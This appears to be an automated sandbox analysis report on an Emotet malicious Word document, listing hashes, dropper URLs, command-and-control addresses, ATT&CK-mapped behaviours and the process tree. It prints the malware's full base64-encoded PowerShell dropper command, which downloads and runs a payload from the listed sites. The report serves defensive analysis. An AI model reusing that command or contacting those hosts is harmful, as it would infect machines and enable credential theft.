emotet | 4e3808817bb507df34adf6e9462ee9b930a58efe48f3c757f4609662bd75bbe2

General

Target

emotet_e1_4e3808817bb507df34adf6e9462ee9b930a58efe48f3c757f4609662bd75bbe2_2020-07-29__033806._doc.doc
Size

172KB
MD5

73aa9a4ef598ddc5551eb90b00192c8d
SHA1

0ae531f691975818c9092b073d3db70902c5dbbc
SHA256

4e3808817bb507df34adf6e9462ee9b930a58efe48f3c757f4609662bd75bbe2
SHA512

bdceffcaab4fe5ce9b2400b801cd5866b2fcdcac728b0b01ec756e8544dd3bafbdadfef38cc977bd04e50f0ba1d2d23c2b55f20c66b33664c56eaad5254fb5f5

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://arizonaonsale.com/cgi-bin/VuM64/

exe.dropper

https://www.compednet.com/wp-content/Nv55027/

exe.dropper

http://eltallerartistico.com/language/Uybj0/

exe.dropper

http://classicpaint.net/wp-content/tVS1/

exe.dropper

http://closhlab.com/OWN/lUvYIzLMa/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3992 wrote to memory of 3876	3992	45.exe	77
PID 3992 wrote to memory of 3876	3992	45.exe	77
PID 3992 wrote to memory of 3876	3992	45.exe	77

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3992-10-0x0000000000620000-0x000000000062C000-memory.dmp	emotet
behavioral2/memory/3876-13-0x0000000000570000-0x000000000057C000-memory.dmp	emotet

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDKOR\Windows.Devices.Bluetooth.exe	45.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1908	648	powersheLL.exe	66

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1908	powersheLL.exe
1908	powersheLL.exe
1908	powersheLL.exe
3876	Windows.Devices.Bluetooth.exe
3876	Windows.Devices.Bluetooth.exe
3876	Windows.Devices.Bluetooth.exe
3876	Windows.Devices.Bluetooth.exe
3876	Windows.Devices.Bluetooth.exe
3876	Windows.Devices.Bluetooth.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
13	1908	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3992	45.exe
3876	Windows.Devices.Bluetooth.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
1520	WINWORD.EXE
3992	45.exe
3992	45.exe
3876	Windows.Devices.Bluetooth.exe
3876	Windows.Devices.Bluetooth.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1520	WINWORD.EXE
1520	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1908	powersheLL.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_4e3808817bb507df34adf6e9462ee9b930a58efe48f3c757f4609662bd75bbe2_2020-07-29__033806._doc.doc" /o ""
1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:1520

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABOAEIATQBYAEkAagBtAGIAPQAnAEgAQwBGAEIAWQBrAGsAdAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABjAFUAUgBJAHQAeQBgAHAAYABSAG8AVABvAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQASQBXAEMATQBMAHUAaABoACAAPQAgACcANAA1ACcAOwAkAEYATwBMAFcASgBzAGUAbwA9ACcAUABJAEoASABTAG0AdQBuACcAOwAkAFAATwBSAFcASgBwAHgAagA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBXAEMATQBMAHUAaABoACsAJwAuAGUAeABlACcAOwAkAFMARwBIAEoASABjAHEAZwA9ACcARwBZAFIAQgBSAHQAaABjACcAOwAkAFIARgBFAEYAWQBjAGkAcAA9AC4AKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAQgBYAEEAVQBTAGUAbgBsAD0AJwBoAHQAdABwADoALwAvAGEAcgBpAHoAbwBuAGEAbwBuAHMAYQBsAGUALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBWAHUATQA2ADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGMAbwBtAHAAZQBkAG4AZQB0AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ATgB2ADUANQAwADIANwAvACoAaAB0AHQAcAA6AC8ALwBlAGwAdABhAGwAbABlAHIAYQByAHQAaQBzAHQAaQBjAG8ALgBjAG8AbQAvAGwAYQBuAGcAdQBhAGcAZQAvAFUAeQBiAGoAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGwAYQBzAHMAaQBjAHAAYQBpAG4AdAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHQAVgBTADEALwAqAGgAdAB0AHAAOgAvAC8AYwBsAG8AcwBoAGwAYQBiAC4AYwBvAG0ALwBPAFcATgAvAGwAVQB2AFkASQB6AEwATQBhAC8AJwAuACIAUwBgAHAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAEUARABFAEQAdgBvAG0APQAnAFgAVgBOAE8ARAB4AGUAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQgBUAEUATwBaAGMAaABvACAAaQBuACAAJABCAFgAQQBVAFMAZQBuAGwAKQB7AHQAcgB5AHsAJABSAEYARQBGAFkAYwBpAHAALgAiAGQATwBXAE4AYABsAG8AYABBAGAAZABmAGkATABFACIAKAAkAEIAVABFAE8AWgBjAGgAbwAsACAAJABQAE8AUgBXAEoAcAB4AGoAKQA7ACQAVABWAEcASQBHAGQAbQB5AD0AJwBGAE4AUQBRAFoAcABsAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABQAE8AUgBXAEoAcAB4AGoAKQAuACIATABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYANAA5ADUAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAEUAQQB0AGUAIgAoACQAUABPAFIAVwBKAHAAeABqACkAOwAkAE4ARABNAFYAVgB5AHMAawA9ACcAUwBVAFUAWABRAHoAbwBnACcAOwBiAHIAZQBhAGsAOwAkAFQAWQBaAFIARgBlAGoAegA9ACcASABWAFgARABMAG8AYwBuACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAQQBMAEsATgBzAHUAZwA9ACcATABQAFoAUQBMAGoAcAB5ACcA
1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1908

C:\Users\Admin\45.exe
C:\Users\Admin\45.exe
1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3992
- C:\Windows\SysWOW64\KBDKOR\Windows.Devices.Bluetooth.exe
  "C:\Windows\SysWOW64\KBDKOR\Windows.Devices.Bluetooth.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3876

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1520-4-0x00000269E6D64000-0x00000269E6D6B000-memory.dmp

Filesize
28KB

Download
memory/1520-5-0x00000269E6D64000-0x00000269E6D6B000-memory.dmp

Filesize
28KB

Download
memory/3876-13-0x0000000000570000-0x000000000057C000-memory.dmp

Filesize
48KB

Download
memory/3992-10-0x0000000000620000-0x000000000062C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads